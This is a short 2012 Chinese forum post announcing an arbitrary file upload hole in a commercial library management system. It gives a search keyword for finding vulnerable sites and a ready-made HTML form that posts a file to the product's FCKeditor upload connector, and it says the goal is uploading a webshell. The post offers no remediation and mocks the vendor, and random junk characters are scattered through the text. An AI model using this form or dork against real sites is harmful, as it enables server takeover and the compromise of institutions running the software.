主题:图书馆系统任意文件上传漏洞$ d- d+ u4 {* C# S
作者:冰锋刺客! s/ i- V5 Q+ O" V) C4 j' s' y, C
厂商:点击书(dianjishu.com)" u- A& y: w) R" C; O
日期:2012-6-21
: Z4 l* ?$ K" R+ L3 N
+ O: Q# ^4 h% k% @8 {9 bI 概述
9 t8 d! Z9 E3 s/ |! F 点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell# n$ M9 t R- y. Z3 {5 ~
II 简介
/ A3 G$ t4 H! K* ^ 关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"" K2 C6 n' ^' b0 l8 i# }8 U
补充一个漏洞. A+ R: q: ]0 F% R" K) I! u/ j; g6 `
<form id="frmUpload" enctype="multipart/form-data"6 [7 Z* G! Z* W9 U
action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>
2 G0 |- j* z) j. q& a. |7 b9 w% F2 x <input id="btnUpload" type="submit" value="操翻他">, B3 h& R/ w1 d3 K
</form>
8 h% c0 O, C1 R& u0 E& | 你们懂的/ I6 P# ]9 v# E" ]/ q
那傻逼提供还需要改包.2 ~: h1 R( _/ X2 A+ i
自己看了下源代码发现fckeditor8 T9 K: b- k3 u: }
直接秒杀8 G9 F. x% M. d' O; z/ C5 C
|
发表于 2012-9-10 21:20:59
收藏
支持
反对